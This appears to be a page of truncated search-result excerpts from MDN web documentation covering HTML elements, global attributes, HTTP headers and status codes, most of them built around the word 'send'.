mages or form fields. paragraphs are block-level elements, and notably will automatically close if another block-level element is parsed before the closing </p> tag. see “tag omission” below. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, palpable content. permitted content phrasing content. tag omission the start tag is required. the end tag may be omitted if the <p> element is immediately followed by an <address>, <article>, <aside>, <blockquote>, <div>, <dl>, <fieldset>, <footer>, <form>, <h1>, <h2>, <h3>, <h4>, <h5>, <h6>, <header>, <hr>, ...
<pre>: The Preformatted Text element - HTML: Hypertext Markup Language
t which is to be presented exactly as written in the html file. the text is typically rendered using a non-proportional ("monospace") font. whitespace inside this element is displayed as written. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts flow content. implicit aria role no corresponding role permitted aria roles any dom interface html...
<q>: The Inline Quotation element - HTML: Hypertext Markup Language
sers implement this by surrounding the text in quotation marks. this element is intended for short quotations that don't require paragraph breaks; for long quotations use the <blockquote> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<rb>: The Ruby Base element - HTML: Hypertext Markup Language
annotation, i.e. the text that is being annotated. one <rb> element should wrap each separate atomic segment of the base text. {{embedinteractiveexample("pages/tabbed/rb.html", "tabbed-standard")}} the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content as a child of a <ruby> element. tag omission the end tag can be omitted if the element is immediately followed by an <rt>, <rtc>, or <rp> element or another <rb> element, or if there is no more content in the parent element. permitted parents a <ruby> element. permitted aria rol...
<rp>: The Ruby Fallback Parenthesis element - HTML: Hypertext Markup Language
rt display of ruby annotations using the <ruby> element. one <rp> element should enclose each of the opening and closing parentheses that wrap the <rt> element that contains the annotation's text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content text tag omission the end tag can be omitted if the element is immediately followed by an <rt> or another <rp> element, or if there is no more content in the parent element. permitted parents a <ruby> element. <rp> must be positioned immediately before or after an <rt> element. ...
<rt>: The Ruby Text element - HTML: Hypertext Markup Language
a ruby annotation, which is used to provide pronunciation, translation, or transliteration information for east asian typography. the <rt> element must always be contained within a <ruby> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. see the article about the <ruby> element for more examples. content categories none. permitted content phrasing content. tag omission the end tag may be omitted if the <rt> element is immediately followed by an <rt> or <rp> element, or if there is no more content in the parent element permitted parents a <ruby> element. ...
<rtc>: The Ruby Text Container element - HTML: Hypertext Markup Language
t embraces semantic annotations of characters presented in a ruby of <rb> elements used inside of <ruby> element. <rb> elements can have both pronunciation (<rt>) and semantic (<rtc>) annotations. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content phrasing content or <rt> elements. tag omission the closing tag can be omitted if it is immediately followed by a <rb>, <rtc> or <rt> element opening tag or by its parent closing tag. permitted parents a <ruby> element. permitted aria roles any dom interface htmle...
<s> - HTML: Hypertext Markup Language
to represent things that are no longer relevant or no longer accurate. however, <s> is not appropriate when indicating document edits; for that, use the <del> and <ins> elements, as appropriate. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories phrasing content or flow content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom interface ...
<samp>: The Sample Output element - HTML: Hypertext Markup Language
nline text which represents sample (or quoted) output from a computer program. its contents are typically rendered using the browser's default monospaced font (such as courier or lucida console). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<section>: The Generic Section element - HTML: Hypertext Markup Language
represents a standalone section — which doesn't have a more specific semantic element to represent it — contained within an html document. typically, but not always, sections have a heading. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. as an example, a navigation menu should be wrapped in a <nav> element, but a list of search results and a map display and its controls don't have specific elements, and could be put inside a <section>. note: if the contents of the element would make sense syndicated as a standalone piece, the <article> element may be a better choice. content categories flow con...
<small>: the side comment element - HTML: Hypertext Markup Language
s side-comments and small print, like copyright and legal text, independent of its styled presentation. by default, it renders text within it one font-size smaller, such as from small to x-small. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content permitted content phrasing content tag omission none, must have both a start tag and an end tag. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted aria role...
<source>: The Media or Image Source element - HTML: Hypertext Markup Language
offer the same media content in multiple file formats in order to provide compatibility with a broad range of browsers given their differing support for image file formats and media file formats. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none. permitted content none, it is an empty element. tag omission it must have a start tag, but must not have an end tag. permitted parents a media element—<audio> or <video>—and it must be placed before any flow content or <track> element. a <picture> element, and it must be placed before the <img...
<span> - HTML: Hypertext Markup Language
h as lang. it should be used only when no other semantic element is appropriate. <span> is very much like a <div> element, but <div> is a block-level element whereas a <span> is an inline element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted ar...
<strong>: The Strong Importance element - HTML: Hypertext Markup Language
the html strong importance element (<strong>) indicates that its contents have strong importance, seriousness, or urgency. browsers typically render the contents in bold type. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, must have both a start tag and an end tag. permitted parents any element that accepts phrasing content, or any element that accepts flow content. implicit aria role no corresponding role permitted aria role...
<style>: The Style Information element - HTML: Hypertext Markup Language
the html <style> element contains style information for a document, or part of a document. it contains css, which is applied to the contents of the document containing the <style> element. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the <style> element must be included inside the <head> of the document. in general, it is better to put your styles in external stylesheets and apply them using <link> elements. if you include multiple <style> and <link> elements in your document, they will be applied to the dom in the order they are included in the document — make sure you include them in the correct order, to av...
<sub>: The Subscript element - HTML: Hypertext Markup Language
bscript element (<sub>) specifies inline text which should be displayed as subscript for solely typographical reasons. subscripts are typically rendered with a lowered baseline using smaller text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<summary>: The Disclosure Summary element - HTML: Hypertext Markup Language
mmary>) element specifies a summary, caption, or legend for a <details> element's disclosure box. clicking the <summary> element toggles the state of the parent <details> element open and closed. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. permitted content phrasing content or one element of heading content tag omission none, both the start tag and the end tag are mandatory. permitted parents the <details> element. implicit aria role button permitted aria roles no role permitted dom interface htmlelement attributes this element only ...
<sup>: The Superscript element - HTML: Hypertext Markup Language
rscript element (<sup>) specifies inline text which is to be displayed as superscript for solely typographical reasons. superscripts are usually rendered with a raised baseline using smaller text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<table>: The Table element - HTML: Hypertext Markup Language
the html <table> element represents tabular data — that is, information presented in a two-dimensional table comprised of rows and columns of cells containing data. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content permitted content in this order: an optional <caption> element, zero or more <colgroup> elements, an optional <thead> element, either one of the following: zero or more <tbody> elements one or more <tr> elements an optional <tfoot> element tag omiss...
<tbody>: The Table Body element - HTML: Hypertext Markup Language
the html table body element (<tbody>) encapsulates a set of table rows (<tr> elements), indicating that they comprise the body of the table (<table>). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the <tbody> element, along with its cousins <thead> and <tfoot>, provide useful semantic information that can be used when rendering for either screen or printer as well as for accessibility purposes. content categories none. permitted content zero or more <tr> elements. tag omission the <tbody> element is not a required child element for a parent <table> element to graphically rende...
<time> - HTML: Hypertext Markup Language
s reminders. it may represent one of the following: a time on a 24-hour clock. a precise date in the gregorian calendar (with optional time and timezone information). a valid time duration. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<tr>: The Table Row element - HTML: Hypertext Markup Language
the html <tr> element defines a row of cells in a table. the row's cells can then be established using a mix of <td> (data cell) and <th> (header cell) elements. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. to provide additional control over how cells fit into (or span across) columns, both <th> and <td> support the colspan attribute, which lets you specify how many columns wide the cell should be, with the default being 1. similarly, you can use the rowspan attribute on cells to indicate they should span more than one table row. this can take a little practice to get right when building your tables. we have so...
<track>: The Embed Text Track element - HTML: Hypertext Markup Language
video>. it lets you specify timed text tracks (or time-based data), for example to automatically handle subtitles. the tracks are formatted in webvtt format (.vtt files) — web video text tracks. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories none permitted content none, it is an empty element. tag omission as it is a void element, the start tag must be present and the end tag must not be present. permitted parents a media element, <audio> or <video>. implicit aria role no corresponding role permitted aria roles no r...
<u>: The Unarticulated Annotation (Underline) element - HTML: Hypertext Markup Language
element in older versions of html, and is still sometimes misused in this way. to underline text, you should instead apply a style that includes the css text-decoration property set to underline. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. see the usage notes section for further details on when it's appropriate to use <u> and when it isn't. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing con...
<var>: The Variable element - HTML: Hypertext Markup Language
name of a variable in a mathematical expression or a programming context. it's typically presented using an italicized version of the current typeface, although that behavior is browser-dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content, palpable content. permitted content phrasing content. tag omission none, both the starting and ending tag are mandatory. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any ...
<wbr> - HTML: Hypertext Markup Language
ent represents a word break opportunity—a position within text where the browser may optionally break a line, though its line-breaking rules would not otherwise create a break at that location. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. content categories flow content, phrasing content. permitted content empty tag omission it is an empty element; it must have a start tag, but must not have an end tag. permitted parents any element that accepts phrasing content. implicit aria role no corresponding role permitted aria roles any dom...
accesskey - HTML: Hypertext Markup Language
a keyboard shortcut for the current element. the attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. note: in the whatwg spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. however, this does not work in most browsers. ie/edge uses the first one it supports without problems, provided there are no conflicts with other commands. the way to activate the accesskey depends on the browser and its platform: ...
class - HTML: Hypertext Markup Language
sensitive classes of the element. classes allow css and javascript to select and access specific elements via the class selectors or functions like the dom method document.getelementsbyclassname. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. for example, attribute to describe an attribute rather than italics, although an element of this class may be presented by italics. semantic names remain logical even...
contenteditable - HTML: Hypertext Markup Language
the contenteditable global attribute is an enumerated attribute indicating if the element should be editable by the user. if so, the browser modifies its widget to allow editing. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the attribute must take one of the following values: true or an empty string, which indicates that the element is editable. false, which indicates that the element is not editable. if the attribute is given without a value, like <label contenteditable>example label</label>, its value is treated as an empty string. if this attribute is missing or its value is invalid, its value is inher...
data-* - HTML: Hypertext Markup Language
the data-* global attributes form a class of attributes called custom data attributes, that allow proprietary information to be exchanged between the html and its dom representation by scripts. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. all such custom data are available via the htmlelement interface of the element the attribute is set on. the htmlelement.dataset property gives access to them. the * may be replaced by any name following the production rule of xml names with the following restrictions: the name must not start with xml, whatever case is used for these letters; the name must not contain any ...
dir - HTML: Hypertext Markup Language
the dir global attribute is an enumerated attribute that indicates the directionality of the element's text. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it can have the following values: ltr, which means left to right and is to be used for languages that are written from the left to the right (like english); rtl, which means right to left and is to be used for languages that are written from the right to the left (like arabic); auto, which lets the user agent decide. it uses a basic algorithm as it parses the characters inside the element until it finds a character with a strong directionality, then applie...
hidden - HTML: Hypertext Markup Language
er, relevant. for example, it can be used to hide elements of the page that can't be used until the login process has been completed. browsers won't render elements with the hidden attribute set. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. the hidden attribute must not be used to hide content just from one presentation. if something is marked hidden, it is hidden from all presentations, including, for instance, screen readers. hidden elements shouldn't be linked from non-hidden elements, and elements that are descendants of a hidden element are still active, which means that script elements can still execute an...
id - HTML: Hypertext Markup Language
tribute defines an identifier (id) which must be unique in the whole document. its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with css). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. this attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your ids somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@). id's value must not contain whitespace (spaces, tabs etc.). browsers treat non-conforming ids that conta...
spellcheck - HTML: Hypertext Markup Language
the spellcheck global attribute is an enumerated attribute defines whether the element may be checked for spelling errors. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it may have the following values: true, which indicates that the element should be, if possible, checked for spelling errors; false, which indicates that the element should not be checked for spelling errors. note: the spellcheck attribute is an enumerated one and not a boolean one. this means that the explicit usage of one of the values true or false is mandatory, and that a shorthand like <textarea spellcheck></textarea> is not allowed. t...
style - HTML: Hypertext Markup Language
s recommended for styles to be defined in a separate file or files. this attribute and the <style> element have mainly the purpose of allowing for quick styling, for example for testing purposes. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. usage note: this attribute must not be used to convey semantic information. even if all styling is removed, a page should remain semantically correct. typically it shouldn't be used to hide irrelevant information; this should be done using the hidden attribute. specifications specification status comment html living standardthe definition of 'style'...
tabindex - HTML: Hypertext Markup Language
the tabindex global attribute indicates that its element can be focused, and where it participates in sequential keyboard navigation (usually with the tab key, hence the name). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. it accepts an integer as a value, with different results depending on the integer's value: a negative value (usually tabindex="-1") means that the element is not reachable via sequential keyboard navigation, but could be focused with javascript or visually by clicking with the mouse. it's mostly useful to create accessible widgets with javascript. a negative value is useful when you ha...
title - HTML: Hypertext Markup Language
the title global attribute contains text representing advisory information related to the element it belongs to. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and
send us a pull request. some typical uses: labeling <iframe> elements for assistive technology providing a programmatically associated label for an <input> element as a fallback for a real <label> labeling controls in data tables additional semantics are attached to the title attributes of the <link>, <abbr>, <input>, and <menuitem> elements. multiline titles the title attribute may contain several lines. each u+000a line feed (lf) character represents a line break. some ...
Link types - HTML: Hypertext Markup Language
more details), while still providing the referer http header (unless noreferrer is used as well). note that when noopener is used, nonempty target names other than _top, _self, and _parent are all treated like _blank in terms of deciding whether to open a new window/tab. <a>, <area>, <form> <link> noreferrer prevents the browser, when navigating to another page, to
send this page address, or any other value, as referrer via the referer: http header. (in firefox, before firefox 37, this worked only in links found in pages. links clicked in the ui, like "open in a new tab" via the contextual menu, ignored this). <a>, <area>, <form> <link> opener reverts implicit rel="noopener" addition on links with target="_blank" (see related ht...
HTML: Hypertext Markup Language
html tables representing tabular data on a webpage in an understandable, accessible way can be a challenge. this module covers basic table markup, along with more complex features such as implementing captions and summaries. html forms forms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g. registering and logging in,
sending feedback, buying products, and more. this module gets you started with creating the client-side/front-end parts of forms. use html to solve common problems provides links to sections of content explaining how to use html to solve very common problems when creating a web page: dealing with titles, adding images or videos, emphasizing content, creating a basic form, etc. advanced topics c...
Browser detection using the user agent - HTTP
ecking if this bug has been reported to the browser vendor via their bug tracking system (mozilla; webkit; blink; opera). browser makers do pay attention to bug reports, and the analysis may hint about other workarounds for the bug. are you trying to check for the existence of a specific feature? your site needs to use a specific web feature that some browsers don't yet support, and you want to
send those users to an older web site with fewer features but that you know will work. this is the worst reason to use user agent detection because odds are eventually all the other browsers will catch up. in addition, it is not practical to test every one of the less popular browsers and test for them. you should never do user agent sniffing. there is always the alternative of doing feature detection...
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Headers’ - HTTP
t by the server in response to a preflight request; it lets the client know which http headers are permitted in cors requests. if the client user agent finds among the comma-delineated values provided by the header any header name it does not recognize, this error occurs. this is a problem that most likely can only be fixed on the server side, by modifying the server's configuration to no longer
send the invalid or unknown header name with the access-control-allow-headers header. it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date. ...
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
to let the client know what http request methods it supports for cors requests. the header's value is a comma-delineated string of http method names, such as get, post, or head. if any of the specified values are not recognized by the client user agent, this error occurs. this is a problem that most likely can only be fixed on the server side, by modifying the server's configuration to no longer
send the invalid or unknown method name with the access-control-allow-methods header. it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date. ...
Reason: CORS header 'Access-Control-Allow-Origin' missing - HTTP
ould be: access-control-allow-origin: https://amazing.site you can also configure a site to allow any site to access it by using the * wildcard. you should only use this for public apis. private apis should never use *, and should instead have a specific domain or domains set. in addition, the wildcard only works for requests made with the crossorigin attribute set to anonymous, and it prevents
sending credentials like cookies in requests. access-control-allow-origin: * warning: using the wildcard to allow all sites to access a private api is a bad idea. to allow any site to make cors requests without using the * wildcard (for example, to enable credentials), your server must read the value of the request's origin header and use that value to set access-control-allow-origin, and must al...
Content Security Policy (CSP) - HTTP
nup.html looks like this: <!doctype html> <html> <head> <title>sign up</title> <link rel="stylesheet" href="css/style.css"> </head> <body> ... content ... </body> </html> can you spot the mistake? stylesheets are allowed to be loaded only from cdn.example.com, yet the website tries to load one from its own origin (http://example.com). ...
Configuring servers for Ogg media - HTTP
ip,deflate header when requesting media files. your server should be configured to not do so. the data in media files is already compressed, so you won't get any real benefit from compression, and the use of compression makes it impossible for the browser to properly seek the video or determine its duration. another probelm with allowing http compression for media streaming: apache servers don't
send the content-length response header if gzip encoding is used. getting the duration of ogg media you can use the oggz-info tool to get the media duration; this tool is included with the oggz-tools package. the output from oggz-info looks like this: $ oggz-info /g/media/bruce_vs_ironman.ogv content-duration: 00:01:00.046 skeleton: serialno 1976223438 4 packets in 3 pages, 1.3 packets...
Accept-Encoding - HTTP
server is overloaded and cannot afford the computational overhead induced by the compression requirement. typically, microsoft recommends not to compress if a server uses more than 80% of its computational power. as long as the identity value, meaning no encoding, is not explicitly forbidden, by an identity;q=0 or a *;q=0 without another explicitly set value for identity, the server must never
send back a 406 not acceptable error. notes: an iana registry maintains a complete list of official content encodings. two others content encoding, bzip and bzip2, are sometimes used, though not standard. they implement the algorithm used by these two unix programs. note that the first one was discontinued due to patent licensing problems. header type request header f...
Accept-Language - HTTP
cision. it is recommended that the server never overrides an explicit decision. the content of the accept-language is often out of the control of the user (like when traveling and using an internet cafe in a different country); the user may also want to visit a page in another language than the locale of their user interface. if the server cannot serve any matching language, it can theoretically
send back a 406 (not acceptable) error code. but, for a better user experience, this is rarely done and more common way is to ignore the accept-language header in this case. header type request header forbidden header name no cors-safelisted request header yes, with the additional restriction that values can only be 0-9, a-z, a-z, space or *,-.;=. syntax ac...
Access-Control-Allow-Credentials - HTTP
true directives true the only valid value for this header is true (case-sensitive). if you don't need credentials, omit this header entirely (rather than setting its value to false). examples allow credentials: access-control-allow-credentials: true using xhr with credentials: var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/', true); xhr.withcredentials = true; xhr.
send(null); using fetch with credentials: fetch(url, { credentials: 'include' }) specifications specification status comment fetchthe definition of 'access-control-allow-credentials' in that specification. living standard initial definition ...
Access-Control-Allow-Origin - HTTP
ps://developer.mozilla.org limiting the possible access-control-allow-origin values to a set of allowed origins requires code on the server side to check the value of the origin request header, compare that to a list of allowed origins, and then if the origin value is in the list, to set the access-control-allow-origin value to the same value as the origin value. cors and caching if the server
sends a response with an access-control-allow-origin value that is an explicit origin (rather than the "*" wildcard), then the response should also include a vary response header with the value origin — to indicate to browsers that server responses can differ based on the value of the origin request header. access-control-allow-origin: https://developer.mozilla.org vary: origin specifications ...
Proxy-Authorization - HTTP
ation type. a common type is "basic". see also the iana registry of authentication schemes. <credentials> the credentials are constructed like this: the username and the password are combined with a colon (aladdin:opensesame). the resulting string is base64 encoded (ywxhzgrpbjpvcgvuc2vzyw1l). note: base64 encoding does not mean encryption or hashing! this method is equally secure as
sending the credentials in clear text (base64 is a reversible encoding). prefer to use https in conjunction with basic authentication. examples proxy-authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l specifications specification title rfc 7235, section 4.4: proxy-authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Public-Key-Pins-Report-Only - HTTP
the header is silently ignored in modern browsers as support for hpkp has been removed. use certificate transparency and the expect-ct header instead. for more information, see the public-key-pins header reference page and the http public key pinning article. ...
Retry-After - HTTP
date header for more details on the http date format. <delay-seconds> a non-negative decimal integer indicating the seconds to delay after the response is received. examples dealing with scheduled downtime support for the retry-after header on both clients and servers is still inconsistent. however, some crawlers and spiders, like the googlebot, honor the retry-after header. it is useful to
send it along with a 503 (service unavailable) response, so that search engines will keep indexing your site when the downtime is over. retry-after: wed, 21 oct 2015 07:28:00 gmt retry-after: 120 specifications specification title rfc 7231, section 7.1.3: retry-after hypertext transfer protocol (http/1.1): semantics and content ...
SameSite cookies - HTTP
ite attribute accepts three values: lax cookies are allowed to be sent with top-level navigations and will be sent along with get request initiated by third party website. this is the default value in modern browsers. strict cookies will only be sent in a first-party context and not be sent along with requests initiated by third party websites. none cookies will be sent in all contexts, i.e
sending cross-origin is allowed. none used to be the default value, but recent browser versions made lax the default value to have reasonably robust defense against some classes of cross-site request forgery (csrf) attacks. none requires the secure attribute in latest browser versions. see below for more information. fixing common warnings samesite=none requires secure the following warning might...
Trailer - HTTP
the te request header needs to be set to "trailers" to allow trailer fields. header type response header forbidden header name yes syntax trailer: header-names directives header-names http header fields which will be present in the trailer part of chunked messages. ...
Upgrade-Insecure-Requests - HTTP
header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanisms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site. a vary header can be used so that the site isn't served by caches to clients that don’t support the upgrade mechanism. ...
User-Agent - HTTP
ple. firefox ua string for more on firefox- and gecko-based user agent strings, see the firefox user agent string reference. the ua string of firefox is broken down into 4 components: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion mozilla/5.0 is the general token that says the browser is mozilla-compatible. for historical reasons, almost every browser today
sends it. platform describes the native platform the browser is running on (windows, mac, linux, android, etc.), and if it's a mobile phone. firefox os phones simply say mobile — the web is the platform. note that platform can consist of multiple "; "-separated tokens. see below for further details and examples. rv:geckoversion indicates the release version of gecko (such as "17.0"). in recent bro...
Via - HTTP
the via general header is added by proxies, both forward and reverse proxies, and can appear in the request headers and the response headers. it is used for tracking message forwards, avoiding request loops, and identifying the protocol capabilities of
senders along the request/response chain. header type general header forbidden header name yes syntax via: [ <protocol-name> "/" ] <protocol-version> <host> [ ":" <port> ] or via: [ <protocol-name> "/" ] <protocol-version> <pseudonym> directives <protocol-name> optional. the name of the protocol used, such as "http". <protocol-version> the version of the protocol used, such as "1.1". <host> and <port> public proxy url and port. <pseudonym> name/alias of an internal proxy. examples via: 1.1 vegur v...
X-DNS-Prefetch-Control - HTTP
user may wish to disable prefetching. on firefox, this can be done by setting the network.dns.disableprefetch preference to true. also, by default, prefetching of embedded link hostnames is not performed on documents loaded over https. on firefox, this can be changed by setting the network.dns.disableprefetchfromhttps preference to false. examples turning on and off prefetching you can either
send the x-dns-prefetch-control header server-side, or from individual documents, using the http-equiv attribute on the <meta> element, like this: <meta http-equiv="x-dns-prefetch-control" content="off"> you can reverse this setting by setting content to "on". forcing lookup of specific hostnames you can force the lookup of specific hostnames without providing specific anchors using that hostname...
X-XSS-Protection - HTTP
he unsafe parts). 1; mode=block enables xss filtering. rather than sanitizing the page, the browser will prevent rendering of the page if an attack is detected. 1; report=<reporting-uri> (chromium only) enables xss filtering. if a cross-site scripting attack is detected, the browser will sanitize the page and report the violation. this uses the functionality of the csp report-uri directive to
send a report. example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts. ...
OPTIONS - HTTP
in this example, we will request permission for these parameters: the access-control-request-method header sent in the preflight request tells the server that when the actual request is sent, it will have a post request method. the access-control-request-headers header tells the server that when the actual request is sent, it will have the x-pingother and content-type headers. ...
POST - HTTP
the type of the body of the request is indicated by the content-type header. the difference between put and post is that put is idempotent: calling it once or several times successively has the same effect (that is no side effect), where successive identical post may have additional effects, like passing an order several times. a post request is typically sent via an html form and results in a change on the server. ...
100 Continue - HTTP
the http 100 continue informational status response code indicates that everything so far is ok and that the client should continue with the request or ignore it if it is already finished. to have a server check the request's headers, a client must
send expect: 100-continue as a header in its initial request and receive a 100 continue status code in response before
sending the body. status 100 continue specifications specification title rfc 7231, section 6.2.1: 100 continue hypertext transfer protocol (http/1.1): semantics and content ...
103 Early Hints - HTTP
r is still preparing a response. syntax 103 early hints specifications specification status comments rfc 8297: 103 early hints ietf rfc initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. no compatibility data found. please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository. ...
202 Accepted - HTTP
sfer protocol (http) 202 accepted response status code indicates that the request has been accepted for processing, but the processing has not been completed; in fact, processing may not have started yet. the request might or might not eventually be acted upon, as it might be disallowed when processing actually takes place. 202 is non-committal, meaning that there is no way for the http to later
send an asynchronous response indicating the outcome of processing the request. it is intended for cases where another process or server handles the request, or for batch processing. status 202 accepted specifications specification title rfc 7231, section 6.3.3: 202 accepted hypertext transfer protocol (http/1.1): semantics and content ...
408 Request Timeout - HTTP
the hypertext transfer protocol (http) 408 request timeout response status code means that the server would like to shut down this unused connection. it is sent on an idle connection by some servers, even without any previous request by the client. a server should
send the "close" connection header field in the response, since 408 implies that the server has decided to close the connection rather than continue waiting. this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing. note: some servers merely shut down the connection without
sending this message. status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext trans...
411 Length Required - HTTP
the hypertext transfer protocol (http) 411 length required client error response code indicates that the server refuses to accept the request without a defined content-length header. note: by specification, when
